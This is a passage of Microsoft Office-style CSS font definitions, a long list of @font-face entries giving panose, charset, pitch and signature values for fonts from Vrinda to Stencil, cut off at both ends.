{font-family:Vrinda; 	panose-1:0 0 4 0 0 0 0 0 0 0; 	mso-font-charset:1; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:variable; 	mso-font-signature:0 0 0 0 0 0;} @font-face 	{font-family:Raavi; 	panose-1:2 0 5 0 0 0 0 0 0 0; 	mso-font-charset:0; 	mso-generic-font-family:auto; 	mso-font-pitch:variable; 	mso-font-signature:131075 0 0 0 1 0;} @font-face 	{font-family:Shruti; 	panose-1:2 0 5 0 0 0 0 0 0 0; 	mso-font-charset:0; 	mso-generic-font-family:auto; 	mso-font-pitch:variable; 	mso-font-signature:262147 0 0 0 1 0;} @font-face 	{font-family:Sendnya; 	panose-1:0 0 4 0 0 0 0 0 0 0; 	mso-font-charset:1; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:variable; 	mso-font-signature:0 0 0 0 0 0;} @font-face 	{font-family:Gautami; 	panose-1:2 0 5 0 0 0 0 0 0 0; 	mso-font-charset:0; 	mso-generic-font-family:auto; 	mso-font-pitch:variable; 	mso-font-signature:2097155 0 0 0 1 0;} @font-face 	{font-family:Tunga; 	panose-1:0 0 4 0 0 0 0 0 0 0; 	mso-font-charset:0; 	mso-generic-font-family:auto; 	mso-font-pitch:variable; 	mso-font-signature:4194307 0 0 0 1 0;} @font-face 	{font-family:"Estrangelo Edessa"; 	panose-1:0 0 0 0 0 0 0 0 0 0; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:-2147459005 0 128 0 1 0;} @font-face 	{font-family:"Arial Unicode MS"; 	panose-1:2 11 6 4 2 2 2 2 2 4; 	mso-font-charset:128; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:-1 -369098753 63 0 4129279 0;} @font-face 	{font-family:Tahoma; 	panose-1:2 11 6 4 3 5 4 4 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:1627421319 -2147483648 8 0 66047 0;} @font-face 	{font-family:Marlett; 	panose-1:0 0 0 0 0 0 0 0 0 0; 	mso-font-charset:2; 	mso-generic-font-family:auto; 	mso-font-pitch:variable; 	mso-font-signature:0 268435456 0 0 -2147483648 0;} @font-face 	{font-family:"Lucida Console"; 	panose-1:2 11 6 9 4 5 4 2 2 4; 	mso-font-charset:0; 	mso-generic-font-family:modern; 	mso-font-pitch:fixed; 	mso-font-signature:-2147482993 6144 0 0 31 0;} @font-face 	{font-family:"Lucida Sans Unicode"; 	panose-1:2 11 6 2 3 5 4 2 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:-2147476737 14699 0 0 63 0;} @font-face 	{font-family:Verdana; 	panose-1:2 11 6 4 3 5 4 4 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:536871559 0 0 0 415 0;} @font-face 	{font-family:"Arial Black"; 	panose-1:2 11 10 4 2 1 2 2 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:647 0 0 0 159 0;} @font-face 	{font-family:"Comic Sans MS"; 	panose-1:3 15 7 2 3 3 2 2 2 4; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:647 0 0 0 159 0;} @font-face 	{font-family:Impact; 	panose-1:2 11 8 6 3 9 2 5 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:647 0 0 0 159 0;} @font-face 	{font-family:Georgia; 	panose-1:2 4 5 2 5 4 5 2 3 3; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:647 0 0 0 159 0;} @font-face 	{font-family:"Franklin Gothic Medium"; 	panose-1:2 11 6 3 2 1 2 2 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:647 0 0 0 159 0;} @font-face 	{font-family:"Palatino Linotype"; 	panose-1:2 4 5 2 5 5 5 3 3 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:-536870009 1073741843 0 0 415 0;} @font-face 	{font-family:"Trebuchet MS"; 	panose-1:2 11 6 3 2 2 2 2 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:647 0 0 0 159 0;} @font-face 	{font-family:Webdings; 	panose-1:5 3 1 2 1 5 9 6 7 3; 	mso-font-charset:2; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:0 268435456 0 0 -2147483648 0;} @font-face 	{font-family:"MV Boli"; 	mso-font-charset:0; 	mso-generic-font-family:auto; 	mso-font-pitch:variable; 	mso-font-signature:3 0 256 0 1 0;} @font-face 	{font-family:"Microsoft Sans Serif"; 	panose-1:2 11 6 4 2 2 2 2 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:1627421663 -2147483648 8 0 66047 0;} @font-face 	{font-family:"Agency FB"; 	panose-1:2 11 5 3 2 2 2 2 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Arial Narrow"; 	panose-1:2 11 5 6 2 2 2 3 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:647 0 0 0 159 0;} @font-face 	{font-family:"Arial Rounded MT Bold"; 	panose-1:2 15 7 4 3 5 4 3 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Blackadder ITC"; 	panose-1:4 2 5 5 5 16 7 2 13 2; 	mso-font-charset:0; 	mso-generic-font-family:decorative; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Bodoni MT"; 	panose-1:2 7 6 3 8 6 6 2 2 3; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Bodoni MT Black"; 	panose-1:2 7 10 3 8 6 6 2 2 3; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Bodoni MT Condensed"; 	panose-1:2 7 6 6 8 6 6 2 2 3; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Book Antiqua"; 	panose-1:2 4 6 2 5 3 5 3 3 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:647 0 0 0 159 0;} @font-face 	{font-family:"Bookman Old Style"; 	panose-1:2 5 6 4 5 5 5 2 2 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:647 0 0 0 159 0;} @font-face 	{font-family:"Bradley Hand ITC"; 	panose-1:3 7 4 2 5 3 2 3 2 3; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Calisto MT"; 	panose-1:2 4 6 3 5 5 5 3 3 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:Castellar; 	panose-1:2 10 4 2 6 4 6 1 3 1; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Century Gothic"; 	panose-1:2 11 5 2 2 2 2 2 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:647 0 0 0 159 0;} @font-face 	{font-family:"Century Schoolbook"; 	panose-1:2 4 6 4 5 5 5 2 3 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:647 0 0 0 159 0;} @font-face 	{font-family:"Copperplate Gothic Bold"; 	panose-1:2 14 7 5 2 2 6 2 4 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Copperplate Gothic Light"; 	panose-1:2 14 5 7 2 2 6 2 4 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Curlz MT"; 	panose-1:4 4 4 4 5 7 2 2 2 2; 	mso-font-charset:0; 	mso-generic-font-family:decorative; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Edwardian Script ITC"; 	panose-1:3 3 3 2 4 7 7 13 8 4; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:Elephant; 	panose-1:2 2 9 4 9 5 5 2 3 3; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Engravers MT"; 	panose-1:2 9 7 7 8 5 5 2 3 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Eras Bold ITC"; 	panose-1:2 11 9 7 3 5 4 2 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Eras Demi ITC"; 	panose-1:2 11 8 5 3 5 4 2 8 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Eras Light ITC"; 	panose-1:2 11 4 2 3 5 4 2 8 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Eras Medium ITC"; 	panose-1:2 11 6 2 3 5 4 2 8 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Felix Titling"; 	panose-1:4 6 5 5 6 2 2 2 10 4; 	mso-font-charset:0; 	mso-generic-font-family:decorative; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:Forte; 	panose-1:3 6 9 2 4 5 2 7 2 3; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Franklin Gothic Book"; 	panose-1:2 11 5 3 2 1 2 2 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:647 0 0 0 159 0;} @font-face 	{font-family:"Franklin Gothic Demi"; 	panose-1:2 11 7 3 2 1 2 2 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:647 0 0 0 159 0;} @font-face 	{font-family:"Franklin Gothic Demi Cond"; 	panose-1:2 11 7 6 3 4 2 2 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:647 0 0 0 159 0;} @font-face 	{font-family:"Franklin Gothic Heavy"; 	panose-1:2 11 9 3 2 1 2 2 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:647 0 0 0 159 0;} @font-face 	{font-family:"Franklin Gothic Medium Cond"; 	panose-1:2 11 6 6 3 4 2 2 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:647 0 0 0 159 0;} @font-face 	{font-family:"French Script MT"; 	panose-1:3 2 4 2 4 6 7 4 6 5; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:Garamond; 	panose-1:2 2 4 4 3 3 1 1 8 3; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:647 0 0 0 159 0;} @font-face 	{font-family:Gigi; 	panose-1:4 4 5 4 6 16 7 2 13 2; 	mso-font-charset:0; 	mso-generic-font-family:decorative; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Gill Sans MT Ext Condensed Bold"; 	panose-1:2 11 9 2 2 1 4 2 2 3; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:7 0 0 0 3 0;} @font-face 	{font-family:"Gill Sans MT"; 	panose-1:2 11 5 2 2 1 4 2 2 3; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:7 0 0 0 3 0;} @font-face 	{font-family:"Gill Sans MT Condensed"; 	panose-1:2 11 5 6 2 1 4 2 2 3; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:7 0 0 0 3 0;} @font-face 	{font-family:"Gill Sans Ultra Bold"; 	panose-1:2 11 10 2 2 1 4 2 2 3; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:7 0 0 0 3 0;} @font-face 	{font-family:"Gill Sans Ultra Bold Condensed"; 	panose-1:2 11 10 6 2 1 4 2 2 3; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:7 0 0 0 3 0;} @font-face 	{font-family:"Gloucester MT Extra Condensed"; 	panose-1:2 3 8 8 2 6 1 1 1 1; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Goudy Old Style"; 	panose-1:2 2 5 2 5 3 5 2 3 3; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Goudy Stout"; 	panose-1:2 2 9 4 7 3 11 2 4 1; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:Haettenschweiler; 	panose-1:2 11 7 6 4 9 2 6 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:647 0 0 0 159 0;} @font-face 	{font-family:"Imprint MT Shadow"; 	panose-1:4 2 6 5 6 3 3 3 2 2; 	mso-font-charset:0; 	mso-generic-font-family:decorative; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Maiandra GD"; 	panose-1:2 14 5 2 3 3 8 2 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Monotype Corsiva"; 	panose-1:3 1 1 1 1 2 1 1 1 1; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:647 0 0 0 159 0;} @font-face 	{font-family:"OCR A Extended"; 	panose-1:2 1 5 9 2 1 2 1 3 3; 	mso-font-charset:0; 	mso-generic-font-family:modern; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Palace Script MT"; 	panose-1:3 3 3 2 2 6 7 12 11 5; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:Papyrus; 	panose-1:3 7 5 2 6 5 2 3 2 5; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:Perpetua; 	panose-1:2 2 5 2 6 4 1 2 3 3; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Perpetua Titling MT"; 	panose-1:2 2 5 2 6 5 5 2 8 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:Pristina; 	panose-1:3 6 4 2 4 4 6 8 2 4; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Rage Italic"; 	panose-1:3 7 5 2 4 5 7 7 3 4; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:Rockwell; 	panose-1:2 6 6 3 2 2 5 2 4 3; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Rockwell Condensed"; 	panose-1:2 6 6 3 5 4 5 2 1 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Rockwell Extra Bold"; 	panose-1:2 6 9 3 4 5 5 2 4 3; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Script MT Bold"; 	panose-1:3 4 6 2 4 6 7 8 9 4; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Tw Cen MT"; 	panose-1:2 11 6 2 2 1 4 2 6 3; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:7 0 0 0 3 0;} @font-face 	{font-family:"Tw Cen MT Condensed"; 	panose-1:2 11 6 6 2 1 4 2 2 3; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:7 0 0 0 3 0;} @font-face 	{font-family:"Wingdings 2"; 	panose-1:5 2 1 2 1 5 7 7 7 7; 	mso-font-charset:2; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:0 268435456 0 0 -2147483648 0;} @font-face 	{font-family:"Wingdings 3"; 	panose-1:5 4 1 2 1 8 7 7 7 7; 	mso-font-charset:2; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:0 268435456 0 0 -2147483648 0;} @font-face 	{font-family:"Lucida Sans"; 	panose-1:2 11 6 2 4 5 2 2 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Lucida Sans Typewriter"; 	panose-1:2 11 5 9 3 5 4 3 2 4; 	mso-font-charset:0; 	mso-generic-font-family:modern; 	mso-font-pitch:fixed; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Tw Cen MT Condensed Extra Bold"; 	panose-1:2 11 8 3 2 2 2 2 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:7 0 0 0 3 0;} @font-face 	{font-family:Algerian; 	panose-1:4 2 7 5 4 10 2 6 7 2; 	mso-font-charset:0; 	mso-generic-font-family:decorative; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"\@Arial Unicode MS"; 	panose-1:2 11 6 4 2 2 2 2 2 4; 	mso-font-charset:128; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:-1 -369098753 63 0 4129279 0;} @font-face 	{font-family:"Baskerville Old Face"; 	panose-1:2 2 6 2 8 5 5 2 3 3; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Bauhaus 93"; 	panose-1:4 3 9 5 2 11 2 2 12 2; 	mso-font-charset:0; 	mso-generic-font-family:decorative; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Bell MT"; 	panose-1:2 2 5 3 6 3 5 2 3 3; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Berlin Sans FB"; 	panose-1:2 14 6 2 2 5 2 2 3 6; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Bernard MT Condensed"; 	panose-1:2 5 8 6 6 9 5 2 4 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Bodoni MT Poster Compressed"; 	panose-1:2 7 7 6 8 6 1 5 2 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:7 0 0 0 17 0;} @font-face 	{font-family:"Britannic Bold"; 	panose-1:2 11 9 3 6 7 3 2 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:Broadway; 	panose-1:4 4 9 5 8 11 2 2 5 2; 	mso-font-charset:0; 	mso-generic-font-family:decorative; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Brush Script MT"; 	panose-1:3 6 8 2 4 4 6 7 3 4; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Californian FB"; 	panose-1:2 7 4 3 6 8 11 3 2 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:Centaur; 	panose-1:2 3 5 4 5 2 5 2 3 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:Chiller; 	panose-1:4 2 4 4 3 16 7 2 6 2; 	mso-font-charset:0; 	mso-generic-font-family:decorative; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Colonna MT"; 	panose-1:4 2 8 5 6 2 2 3 2 3; 	mso-font-charset:0; 	mso-generic-font-family:decorative; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Cooper Black"; 	panose-1:2 8 9 4 4 3 11 2 4 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Footlight MT Light"; 	panose-1:2 4 6 2 6 3 10 2 3 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Freestyle Script"; 	panose-1:3 8 4 2 3 2 5 11 4 4; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Harlow Solid Italic"; 	panose-1:4 3 6 4 2 15 2 2 13 2; 	mso-font-charset:0; 	mso-generic-font-family:decorative; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:Harrington; 	panose-1:4 4 5 5 5 10 2 2 7 2; 	mso-font-charset:0; 	mso-generic-font-family:decorative; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"High Tower Text"; 	panose-1:2 4 5 2 5 5 6 3 3 3; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:Jokerman; 	panose-1:4 9 6 5 6 13 6 2 7 2; 	mso-font-charset:0; 	mso-generic-font-family:decorative; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Juice ITC"; 	panose-1:4 4 4 3 4 10 2 2 2 2; 	mso-font-charset:0; 	mso-generic-font-family:decorative; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Kristen ITC"; 	panose-1:3 5 5 2 4 2 2 3 2 2; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Kunstler Script"; 	panose-1:3 3 4 2 2 6 7 13 13 6; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Lucida Bright"; 	panose-1:2 4 6 2 5 5 5 2 3 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Lucida Calligraphy"; 	panose-1:3 1 1 1 1 1 1 1 1 1; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Lucida Fax"; 	panose-1:2 6 6 2 5 5 5 2 2 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Lucida Handwriting"; 	panose-1:3 1 1 1 1 1 1 1 1 1; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"MS Outlook"; 	panose-1:5 1 1 0 1 0 0 0 0 0; 	mso-font-charset:2; 	mso-generic-font-family:auto; 	mso-font-pitch:variable; 	mso-font-signature:0 268435456 0 0 -2147483648 0;} @font-face 	{font-family:Magneto; 	panose-1:4 3 8 5 5 8 2 2 13 2; 	mso-font-charset:0; 	mso-generic-font-family:decorative; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Matura MT Script Capitals"; 	panose-1:3 2 8 2 6 6 2 7 2 2; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:Mistral; 	panose-1:3 9 7 2 3 4 7 2 4 3; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:647 0 0 0 159 0;} @font-face 	{font-family:"Modern No\. 20"; 	panose-1:2 7 7 4 7 5 5 2 3 3; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Niagara Engraved"; 	panose-1:4 2 5 2 7 7 3 3 2 2; 	mso-font-charset:0; 	mso-generic-font-family:decorative; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Niagara Solid"; 	panose-1:4 2 5 2 7 7 2 2 2 2; 	mso-font-charset:0; 	mso-generic-font-family:decorative; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Old English Text MT"; 	panose-1:3 4 9 2 4 5 8 3 8 6; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:Onyx; 	panose-1:4 5 6 2 8 7 2 2 2 3; 	mso-font-charset:0; 	mso-generic-font-family:decorative; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:Parchment; 	panose-1:3 4 6 2 4 7 8 4 8 4; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:Playbill; 	panose-1:4 5 6 3 10 6 2 2 2 2; 	mso-font-charset:0; 	mso-generic-font-family:decorative; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Poor Richard"; 	panose-1:2 8 5 2 5 5 5 2 7 2; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:Ravie; 	panose-1:4 4 8 5 5 8 9 2 6 2; 	mso-font-charset:0; 	mso-generic-font-family:decorative; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Informal Roman"; 	panose-1:3 6 4 2 3 4 6 11 2 4; 	mso-font-charset:0; 	mso-generic-font-family:script; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Showcard Gothic"; 	panose-1:4 2 9 4 2 1 2 2 6 4; 	mso-font-charset:0; 	mso-generic-font-family:decorative; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:"Snap ITC"; 	panose-1:4 4 10 7 6 10 2 2 2 2; 	mso-font-charset:0; 	mso-generic-font-family:decorative; 	mso-font-pitch:variable; 	mso-font-signature:3 0 0 0 1 0;} @font-face 	{font-family:Stencil; 	panose-1:4 4 9 5 13 8 2 2 4 4; 	mso-font-charset:0; 	mso-generic-font-family:decorative; 	mso-font-pitch:variable; 	